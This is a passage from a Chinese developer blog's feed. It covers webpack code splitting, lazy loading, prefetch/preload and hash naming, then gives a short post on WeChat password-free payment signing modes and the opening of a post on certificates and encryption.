getComponent().then(<span class="function"><span class="params">ele</span> =></span> {</span><br><span class="line"> <span class="built_in">document</span>.body.apendChild(ele)</span><br><span class="line"> })</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 这样,就只有在调用 renderComponent 时,才会去加载lodash这个模块,并且lodash模块会单独被拆分出来</span></span><br><span class="line">renderComponent()</span><br></pre></td></tr></table></figure>
<blockquote>
<p>import() 调用会在内部用到 promises。如果在旧版本浏览器中使用 import(),记得使用一个 polyfill 库(例如 es6-promise 或 promise-polyfill),来 shim Promise。</p>
</blockquote>
<p><strong>其实这里的<code>动态导入(dynamic imports)</code>既是代码分割的一种方法,也是一种懒加载的方法。</strong>在下面仔细讲。</p>
<h2 id="4-预取-预加载模块-prefetch-preload-module"><a href="#4-预取-预加载模块-prefetch-preload-module" class="headerlink" title="4. 预取/预加载模块(prefetch/preload module)"></a>4. 预取/预加载模块(prefetch/preload module)</h2><p>这个也是可以进行代码分离的一种方法,它可以使用类似下面这种语法,生成 link tag 并追加到页面头部,指示着浏览器在闲置时间预取 <code>login-modal-chunk.js</code> 文件。<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// <link rel="prefetch" href="login-modal-chunk.js"></span></span><br><span class="line"><span class="keyword">import</span>(<span class="comment">/* webpackPrefetch: true */</span> <span class="string">'LoginModal'</span>);</span><br></pre></td></tr></table></figure></p>
<p>这样就会生成了一个<code>login-modal-chunk.js</code>的js文件,也就是分离了代码。这种方法正好和懒加载相反。下面会再进行解释。</p>
<hr>
<h1 id="lazy-loading🌶"><a href="#lazy-loading🌶" class="headerlink" title="lazy loading🌶"></a>lazy loading🌶</h1><p>上面提到了动态加载是代码分割的方法,这也顺便实现了懒加载的方法。下面总结下实际工程中,一般我们怎么使用它进行代码优化。</p>
<blockquote>
<p>懒加载或者按需加载,是一种很好的优化网页或应用的方式。这种方式实际上是先把你的代码在一些逻辑断点处分离开,然后在一些代码块中完成某些操作后,立即引用或即将引用另外一些新的代码块。这样加快了应用的初始加载速度,减轻了它的总体体积,因为某些代码块可能永远不会被加载。</p>
</blockquote>
<p>注意<strong>懒加载并不是 webpack 的概念,而是 es6 的概念, webpack只是识别了<code>/* webpackChunkName: 'lodash'*/</code>这种语法</strong>。❌这里很容易误以为。</p>
<p>在 es6 语法里有一种<code>import()</code>的<a href="https://github.com/tc39/proposal-dynamic-import" target="_blank" rel="noopener">提案</a>,这个函数解决了 import 命令本身不能动态加载模块的劣势,而在这前,我们使用 require 是很好做到这一点的:</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> file = env === <span class="string">'production'</span> ? <span class="string">`prod_<span class="subst">${filename}</span>`</span> : <span class="string">`sandbox_<span class="subst">${filename}</span>`</span></span><br><span class="line"><span class="keyword">const</span> myModual = <span class="built_in">require</span>(file)</span><br></pre></td></tr></table></figure>
<p>import 命令会被 JavaScript 引擎<strong>静态分析,先于模块内的其他语句执行</strong>。<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Wrong: import 会被提到最上面,file将不被识别</span></span><br><span class="line"><span class="keyword">const</span> file = env === <span class="string">'production'</span> ? <span class="string">`prod_<span class="subst">${filename}</span>`</span> : <span class="string">`sandbox_<span class="subst">${filename}</span>`</span></span><br><span class="line"><span class="keyword">import</span> myModule <span class="keyword">from</span> file</span><br><span class="line"></span><br><span class="line"><span class="comment">// Wrong: import 是静态执行,所以不能使用表达式和变量,这些只有在运行时才能得到结果的语法结构。</span></span><br><span class="line"><span class="keyword">if</span> (env === <span class="string">'production'</span>) {</span><br><span class="line"> <span class="keyword">import</span> myModule <span class="keyword">from</span> <span class="string">'prodFile'</span></span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">import</span> myModule <span class="keyword">from</span> <span class="string">'sandboxFile'</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure></p>
<p>因此出现了 <code>import()</code>函数, <code>import()</code>函数的特性,可以实现:</p>
<ol>
<li>按需加载。也就是懒加载。</li>
<li>条件加载,解决了 import 命令不能使用条件的问题。</li>
<li>动态的模块路径,路径可以使用变量。解决了 import 命令静态编译不能使用动态路径的问题。</li>
</ol>
<p>注意叫法的区别:一个是<code>import命令</code>,一个是<code>import函数</code>。</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// import()加载模块成功以后,这个模块会作为一个对象,当作then方法的参数。</span></span><br><span class="line"><span class="keyword">import</span>(<span class="built_in">module</span>).then().catch()</span><br><span class="line"></span><br><span class="line"><span class="comment">// 可以使用对象解构赋值的语法,获取输出接口</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getComponent</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">import</span>(<span class="comment">/* webpackChunkName: 'loadash'*/</span> <span class="string">'lodash'</span>)</span><br><span class="line"> .then(<span class="function">(<span class="params">{defalut: _}</span>) =></span> {</span><br><span class="line"> <span class="keyword">let</span> dom = <span class="built_in">document</span>.createElement(<span class="string">'div'</span>)</span><br><span class="line"> </span><br><span class="line"> dom.innerText = _.join([<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>], <span class="string">'+'</span>)</span><br><span class="line"> <span class="keyword">return</span> dom</span><br><span class="line"> })</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 点击时才去开始执行加载模块</span></span><br><span class="line"><span class="keyword">const</span> main = <span class="built_in">document</span>.querySelector(<span class="string">"main"</span>);</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">const</span> link <span class="keyword">of</span> <span class="built_in">document</span>.querySelectorAll(<span class="string">"nav > a"</span>)) {</span><br><span class="line"> link.addEventListener(<span class="string">"click"</span>, e => {</span><br><span class="line"> e.preventDefault();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">import</span>(<span class="string">`./section-modules/<span class="subst">${link.dataset.entryModule}</span>.js`</span>)</span><br><span class="line"> .then(<span class="function"><span class="params">module</span> =></span> {</span><br><span class="line"> <span class="built_in">module</span>.loadPageInto(main);</span><br><span class="line"> })</span><br><span class="line"> .catch(<span class="function"><span class="params">err</span> =></span> {</span><br><span class="line"> main.textContent = err.message;</span><br><span class="line"> });</span><br><span class="line"> });</span><br><span class="line"> }</span><br></pre></td></tr></table></figure>
<p>之所以这里解构时是:<code>{default: _}</code>,是因为从 webpack v4 开始,在 import CommonJS 模块时,不会再将导入模块解析为 module.exports 的值,而是为 CommonJS 模块创建一个 artificial namespace object(人工命名空间对象),我记得我之前遇到过这个问题,但是忘记哪个文章里专门写了,这里贴一篇很好的文章:<a href="https://medium.com/webpack/webpack-4-import-and-commonjs-d619d626b655" target="_blank" rel="noopener">webpack-4-import-and-commonjs</a></p>
<p>但是更为常见的一种懒加载的方法,是在 vue 中,<strong>结合 vue-router 实现的路由懒加载。这种方法能把不同路由对应的组件分割成不同的代码块,然后当路由被访问的时候才加载对应组件</strong>。</p>
<p>使用方式:</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> Foo = <span class="function"><span class="params">()</span> =></span> <span class="keyword">import</span>(<span class="string">'./Foo.vue'</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> router = <span class="keyword">new</span> VueRouter({</span><br><span class="line"> routes: [</span><br><span class="line"> { <span class="attr">path</span>: <span class="string">'/foo'</span>, <span class="attr">component</span>: Foo }</span><br><span class="line"> ]</span><br><span class="line">})</span><br></pre></td></tr></table></figure>
<p>然后这个时候,还可以结合 webpack 的语法,进行代码分割,把把某个路由下的所有组件都打包在同个异步块 (chunk) 中如:<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> Foo = <span class="function"><span class="params">()</span> =></span> <span class="keyword">import</span>(<span class="comment">/* webpackChunkName: "foo" */</span> <span class="string">'./Foo.vue'</span>)</span><br><span class="line"><span class="keyword">const</span> Foo1 = <span class="function"><span class="params">()</span> =></span> <span class="keyword">import</span>(<span class="comment">/* webpackChunkName: "foo" */</span> <span class="string">'./Foo1.vue'</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> Bar = <span class="function"><span class="params">()</span> =></span> <span class="keyword">import</span>(<span class="comment">/* webpackChunkName: "bar" */</span> <span class="string">'./Bar.vue'</span>)</span><br></pre></td></tr></table></figure></p>
<p>这样 Foo 和 Foo1 将会在一个 chunk 内, bar 又会在一个 chunk 内。</p>
<p>这里注意下:<strong>dist 内生成的每一个 js 文件就是一个 chunk,而 minChunks 就表明了什么情况下进行代码分割,若 minChunks = 2, 则意味着生成的 chunk js 文件里,有多少个用到了这个模块,如果有的话才进行代码分割。</strong></p>
<hr>
<h1 id="预取-预加载模块-prefetch-preload-module-🏡"><a href="#预取-预加载模块-prefetch-preload-module-🏡" class="headerlink" title="预取/预加载模块(prefetch/preload module)🏡"></a>预取/预加载模块(prefetch/preload module)🏡</h1><p>使用上面的 Lazy loading 会存在一个问题,就是它只能在执行某个动作的时候,才会去加载。比如用户点击了登录框,这个时候开始下载js并开始解析执行。</p>
<p>实际上这样对用户来说还是有等待的一个过程的。但是利用 <code>prefetch/preload module</code> 可以解决这个问题。空闲时去提前加载了代码。用户点击时已有缓存,直接去解析执行代码即可。</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 2.js</span></span><br><span class="line"><span class="built_in">module</span>.exports = <span class="function"><span class="keyword">function</span> <span class="title">log</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">let</span> ele = <span class="built_in">document</span>.createElement(<span class="string">'div'</span>)</span><br><span class="line"> ele.innerText = <span class="string">'hello seven'</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">document</span>.body.appendChild(ele)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// index.js</span></span><br><span class="line"><span class="built_in">document</span>.addEventListener(<span class="string">'click'</span>, () => {</span><br><span class="line"> <span class="keyword">import</span>(<span class="comment">/* webpackPrefetch: true */</span> <span class="string">'./2.js'</span>)</span><br><span class="line"> .then(<span class="function">(<span class="params">{<span class="keyword">default</span>: func}</span>) =></span> {</span><br><span class="line"> func()</span><br><span class="line"> })</span><br><span class="line">})</span><br></pre></td></tr></table></figure>
<p>这样就会发现,在首页的请求内,也会有 2.js 的请求,并且它的时间是在 index.js 之后。<br><img src="prefetch.png" alt="prefetch"><br>然后点开这笔请求的详情后,会看到相关的预先加载的信息头<code>purpose: prefetch</code>。<br><img src="header.png" alt="header"><br>最后查看dom结构,你会发现多了这样一个link文件。<br><img src="prefechlink.png" alt="prefech link"><br>preload和prefetch有许多区别。webpackPreload 会在浏览器闲置下载文件,webpackPreload 会在父 chunk 加载时并行下载文件。对于 preload 我还没有过实践。<br><img src="diff.png" alt="diff.png"></p>
<hr>
<h1 id="几个易混淆的概念❌"><a href="#几个易混淆的概念❌" class="headerlink" title="几个易混淆的概念❌"></a>几个易混淆的概念❌</h1><h2 id="filename-与-chunkFilename"><a href="#filename-与-chunkFilename" class="headerlink" title="filename 与 chunkFilename"></a>filename 与 chunkFilename</h2><p>filename 是指在 entry 中声明的文件,打包输出后的文件的名称。<br>chunkFilename 是指未在 entry 中声明,但是却由于代码分离的原因被打包出来的文件的名称。</p>
<p>可以看到 filename 对应于上面代码分离中的第一点<br>而 chunkFilename 对应于代码分离中的2,3,4点</p>
<p>比如在刚刚的懒加载或者预先加载中,我们进行了代码分离。分离后得到如下结果:<br><img src="chunk.png" alt="chunk"></p>
<p>而我们的 output 配置如下:<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">entry: <span class="string">'./src/index'</span></span><br><span class="line"></span><br><span class="line">output: {</span><br><span class="line"> path: path.resolve(__dirname, <span class="string">'./dist'</span>),</span><br><span class="line"> filename: <span class="string">"[name].min.js"</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure></p>
<p>因此可以看到 <code>main.min.js</code> 就是 <code>filename</code>, 而<code>0.min.js</code>就是 <code>chunkFilename</code></p>
<p>我们可以显试的指明 chunkFilename ,那么生成的文件名称就叫<code>0.chunk.js</code>。<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">output: {</span><br><span class="line"> path: path.resolve(__dirname, <span class="string">'./dist'</span>),</span><br><span class="line"> filename: <span class="string">"[name].min.js"</span>,</span><br><span class="line"> chunkFilename: <span class="string">"[name].chunk.js"</span></span><br><span class="line"> },</span><br></pre></td></tr></table></figure></p>
<p>当然很明显 <code>chunkFilename</code> 指定为 <code>[name].chunk.js</code> 并不好,因为生成的是<code>0.chunk.js</code>这种无含义文件名。</p>
<p>这个时候我们就可以结合刚刚的<code>webpackChunkName</code>这种 <code>magic comments</code> 来进行打包。</p>
<hr>
<h2 id="webpackChunkName,webpackPreload,webpackPreload"><a href="#webpackChunkName,webpackPreload,webpackPreload" class="headerlink" title="webpackChunkName,webpackPreload,webpackPreload"></a>webpackChunkName,webpackPreload,webpackPreload</h2><p>这三个都是魔法注释(magic comments),上面已介绍清楚。这里只总结下语法和用途。</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 为预加载的文件取别名</span></span><br><span class="line"><span class="keyword">import</span>(<span class="comment">/* webpackChunkName: 'loadash'*/</span> <span class="string">'lodash'</span>)</span><br><span class="line"><span class="comment">// 在浏览器闲置下载文件</span></span><br><span class="line"><span class="keyword">import</span>(<span class="comment">/* webpackPrefetch: true */</span> <span class="string">'./2.js'</span>)</span><br><span class="line"><span class="comment">// 在父 chunk 加载时并行下载文件</span></span><br><span class="line"><span class="keyword">import</span>(<span class="comment">/* webpackPreload: true */</span> <span class="string">'./2.js'</span>)</span><br></pre></td></tr></table></figure>
<hr>
<h2 id="hash-chunkhash-contenthash"><a href="#hash-chunkhash-contenthash" class="headerlink" title="hash chunkhash contenthash"></a>hash chunkhash contenthash</h2><p><strong>hash是跟整个项目的构建相关,只要项目里有文件更改,整个项目构建的hash值都会更改,并且全部文件都共用相同的hash值</strong>。</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">entry:{</span><br><span class="line"> main: <span class="string">'./index.js'</span>,</span><br><span class="line"> vender:[<span class="string">'jquery'</span>,<span class="string">'lodash'</span>]</span><br><span class="line">}</span><br><span class="line">output:{</span><br><span class="line"> path:path.join(__dirname, <span class="string">'/dist/js'</span>),</span><br><span class="line"> filename: <span class="string">'[name].[hash].js'</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>因此,若 <code>index.js</code> 文件变化时, <code>vendor</code> 最后生成 <code>output</code> 的文件名也会发生变化,都相同。这样无法利用缓存,因为hash与项目相关,只要项目变了,hash就会变。</p>
<p>这里注意下,如果是老版本的webpack, 即使是你文件都没有更改,只是重新构建了,也有可能导致 hash 的值不一样。这是因为它有个 manifest 文件,里面记录了 vendor 和 main 的联系,它即存在于vendor里,又有可能存在main里,它每次构建可能有不同,导致了每次的构建都不一样,hash就也变化了。可以使用 runtimeChunk 来解决这个问题。以保证老版本里,代码没变,hash也没变的问题。</p>
<p><strong>chunkhash和hash不一样,它根据不同的入口文件(Entry)进行依赖文件解析、构建对应的chunk,生成对应的哈希值。</strong></p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">entry:{</span><br><span class="line"> main: <span class="string">'./index.js'</span>,</span><br><span class="line"> vender:[<span class="string">'jquery'</span>,<span class="string">'lodash'</span>]</span><br><span class="line">}</span><br><span class="line">output:{</span><br><span class="line"> path:path.join(__dirname, <span class="string">'/dist/js'</span>),</span><br><span class="line"> filename: <span class="string">'[name].[chunkhash].js'</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p><strong>我们在生产环境里把一些公共库和程序入口文件区分开,单独打包构建,再采用<code>chunkhash</code>的方式生成哈希值,那么只要我们不改动vendor的代码,就可以保证其哈希值不会受影响。这样可以比较有效的利用缓存。</strong></p>
<p>而只使用 chunkhash 也会有问题,若一个index.js文件中引入了一个css文件,那么它将会打包到和index.js一起,那么如果只是css变化了,他们又公用一个chunk, 那么index.js虽然没有变化,但是文件名也会发生变化。</p>
<p>为了解决这个问题,我们使用extract-text-webpack-plugin这个插件,然后结合contenthash,即可保证css变化时,js不发生变化。</p>
<blockquote>
<p>它会将所有的入口 chunk(entry chunks)中引用的 *.css,移动到独立分离的 CSS 文件。因此,你的样式将不再内嵌到 JS bundle 中,而是会放到一个单独的 CSS 文件(即 styles.css)当中。 如果你的样式文件大小较大,这会做更快提前加载,因为 CSS bundle 会跟 JS bundle 并行加载。</p>
</blockquote>
<p><strong>contenthash 将根据资源内容创建出唯一 hash,也就是说文件内容不变,hash 就不变。</strong></p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">const</span> ExtractTextPlugin = <span class="built_in">require</span>(<span class="string">"extract-text-webpack-plugin"</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">module</span>.exports = {</span><br><span class="line"> <span class="built_in">module</span>: {</span><br><span class="line"> rules: [</span><br><span class="line"> {</span><br><span class="line"> test: <span class="regexp">/\.css$/</span>,</span><br><span class="line"> use: ExtractTextPlugin.extract({</span><br><span class="line"> fallback: <span class="string">"style-loader"</span>,</span><br><span class="line"> use: <span class="string">"css-loader"</span></span><br><span class="line"> })</span><br><span class="line"> }</span><br><span class="line"> ]</span><br><span class="line"> },</span><br><span class="line"> plugins: [</span><br><span class="line"> <span class="keyword">new</span> ExtractTextPlugin(<span class="string">'[name].[contenthash].css'</span>),</span><br><span class="line"> ]</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p><code>contenthash</code>一般我只在 <code>ExtractTextPlugin</code> 使用,在 <code>filename</code>和<code>chunkfilename</code>中,我们不会设置为这个值,而是使用<code>chunkhash</code>。<br>并且<code>chunkhash</code>,<code>contenthash</code>和<code>HMR</code>不能同时使用,一般我们不会再dev里这样写,而是在 <code>production</code> 环境中设置。dev环境中我们就用<code>[name].js</code>其实就可以。</p>
<p>因此可以理解为:hash 计算与整个项目的构建相关;chunkhash 计算与同一 chunk 内容相关;contenthash 计算与文件内容本身相关。<br>这么想来,设计者取名也是非常准确和用心了。</p>
<hr>
<h1 id="总结🌺"><a href="#总结🌺" class="headerlink" title="总结🌺"></a>总结🌺</h1><p>这里上面提到的一些概念,有大概70%我在实践中使用的比较频繁,其他的如 prefetch 和 preload,我基本没有使用到过。希望后续自己有意识去使用,并观察是否真的有效果。📚</p>
<p>prefech 的兼容性会比 preload 好些。他们之间还有许多区别,我先不去做了解了。</p>
<p>最主要的目的还是希望自己对某个知识点是系统化的,而不是只知道其中的一点。细节可以不去了解,但是基本的这些思想希望能记住,然后再某些需要的时候,再去使用。</p>
]]></content>
<summary type="html">
<p>本篇文章主要记录 webpack 的代码分离的几种方式,由此再去理解通过<strong>代码分离</strong>可以做哪些前端优化:如懒加载和预先加载。之后再介绍了几个易混淆的概念。📚</p>
<hr>
<h1 id="webpack-代码分离🌲"><a href="
</summary>
<category term="工具/配置" scheme="http://sevencai.github.io/tags/%E5%B7%A5%E5%85%B7-%E9%85%8D%E7%BD%AE/"/>
</entry>
<entry>
<title>关于微信免密支付的几个概念</title>
<link href="http://sevencai.github.io/2019/03/15/%E5%85%B3%E4%BA%8E%E5%BE%AE%E4%BF%A1%E5%85%8D%E5%AF%86%E6%94%AF%E4%BB%98%E7%9A%84%E5%87%A0%E4%B8%AA%E6%A6%82%E5%BF%B5/"/>
<id>http://sevencai.github.io/2019/03/15/关于微信免密支付的几个概念/</id>
<published>2019-03-15T11:38:31.000Z</published>
<updated>2019-03-18T03:21:02.000Z</updated>
<content type="html"><![CDATA[<blockquote>
<p>纯签约<br>支付中签约<br>支付后签约<br>签约后支付(连续包月)<br>自动续费</p>
</blockquote>
<p>微信一共<strong>只</strong>提供两种签约方式: <strong>纯签约和支付中签约</strong>,<a href="https://pay.weixin.qq.com/wiki/doc/api/pap.php?chapter=17_2" target="_blank" rel="noopener">文档在这里</a>。 <strong>后面的几种方式都不是微信的概念,而是大家包装出来的概念</strong>。</p>
<hr>
<h2 id="纯签约"><a href="#纯签约" class="headerlink" title="纯签约"></a>纯签约</h2><p>纯签约可以理解为委托扣款,用户一旦同意,以后商家就可以免用户密码进行扣款。<strong>这个过称中不会发生扣款行为,仅仅是签约,签订协议而已</strong>。</p>
<p><img src="chunqianyue.png" alt="纯签约"></p>
<hr>
<h2 id="支付中签约"><a href="#支付中签约" class="headerlink" title="支付中签约"></a>支付中签约</h2><p>支付中签约是微信提供的另外一种签约,商家在下订单时,带上签约的参数,就会在下订单的订单页出现一个按钮,用户勾选是否签约。这种用户需要主动勾选同意,转换率底。<strong>这种情况,用户一旦勾上了同意,就会即扣款,也会签约</strong>。</p>
<p><img src="zhifuzhongqianyue.png" alt="支付中签约"></p>
<hr>
<h2 id="支付后签约"><a href="#支付后签约" class="headerlink" title="支付后签约"></a>支付后签约</h2><p>支付后签约:是用户先进行一笔支付,支付后再拉起签约页面。<strong>这种情况转换率更低,用户需要输入两次密码,第一次是付款的密码,第二次是签约的密码</strong>。体验不好。</p>
<hr>
<h2 id="签约后支付"><a href="#签约后支付" class="headerlink" title="签约后支付"></a>签约后支付</h2><p>签约后支付:先拉起签约页面,用户输入密码,然后签约后,由商家进行扣款一笔付费。<strong>这种情况,用户只需要输入密码一次,并且一定是先签约转换率高,并且用户也会支付一笔,大家把它包装成【连续包月】的概念</strong>。</p>
<p>这种连续包月就是需要商家在用户签约完成后,立刻<strong>为用户下一笔单</strong>,然后由于用户已经签约,所以不需要再输密码。这时候用户就又签约又支付。比较完美。商家需要开发后续再下单的流程。</p>
<hr>
<h2 id="自动续费"><a href="#自动续费" class="headerlink" title="自动续费"></a>自动续费</h2><p>自动续费就是一种很宽泛的说法了,就是到期了,商家帮助用户进行自动的扣款并且延长服务的说法。自动续费的渠道有很多,比如支付宝,QB, 微信支付等渠道。而连续包月可以说是其中的一种,可以理解为是微信的自动续费。自动续费概念比较广泛,连续包月是其中的一种实现。</p>
]]></content>
<summary type="html">
<blockquote>
<p>纯签约<br>支付中签约<br>支付后签约<br>签约后支付(连续包月)<br>自动续费</p>
</blockquote>
<p>微信一共<strong>只</strong>提供两种签约方式: <strong>纯签约和支付中签约</strong>
</summary>
<category term="概念" scheme="http://sevencai.github.io/tags/%E6%A6%82%E5%BF%B5/"/>
</entry>
<entry>
<title>证书、对称加密、非对称加密</title>
<link href="http://sevencai.github.io/2019/03/14/%E8%AF%81%E4%B9%A6%E3%80%81%E5%AF%B9%E7%A7%B0%E5%8A%A0%E5%AF%86%E3%80%81%E9%9D%9E%E5%AF%B9%E7%A7%B0%E5%8A%A0%E5%AF%86/"/>
<id>http://sevencai.github.io/2019/03/14/证书、对称加密、非对称加密/</id>
<published>2019-03-14T09:16:48.000Z</published>
<updated>2019-05-28T02:39:17.000Z</updated>
<content type="html"><![CDATA[<p>本篇文章主要是针对我对证书,对称加密,非对称加密,CA等内容的粗浅理解的记录。下图为我理解的大致流程。方便后续查阅。</p>
<p>几个基本概念</p>
<ol>
<li>密码: 对文本进行编码,使偷窥者无法识别的算法。</li>
<li>密钥: 改变密码行为的数字化参数。</li>
<li>对称密钥加密系统: 编 / 解码使用相同密钥的算法。</li>
<li>不对称密钥加密系统: 编 / 解码使用不同密钥的算法。</li>
<li>公开密钥加密系统: 一种能够使数百万计算机便捷地发送机密报文的系统。</li>
<li>数字签名: 用来验证报文未被伪造或篡改的校验和。</li>
<li>数字证书: 由一个可信的组织验证和签发的识别信息。</li>
</ol>
<p>一个整体的交互图</p>
<p><img src="process.png" alt="流程图"></p>
<hr>
<h2 id="CA及CA证书"><a href="#CA及CA证书" class="headerlink" title="CA及CA证书"></a>CA及CA证书</h2><p>CA 就是认证机构,<code>Certificate Authority</code>。</p>
<p>CA 证书: 因特网的<code>ID卡</code>, 通常被称为 certs。</p>
<p>其中包含了由某个<strong>受信任的组织担保的用户或者公司的相关信息</strong>。</p>
<p><strong>任何人都可以创建一个数字证书,但并不是所有人都能够获得受人尊敬的签发权,从而为证书信息担保,并用其私有密钥签发证书。</strong></p>
<p>就像<code>身份证</code>是权威机构颁发的,能证明你的身份,一般大家都很信任。但是你的<code>名片卡</code>是你自己弄的,或者公司发的,大家可能就看看,但是不一定相信就是真的。</p>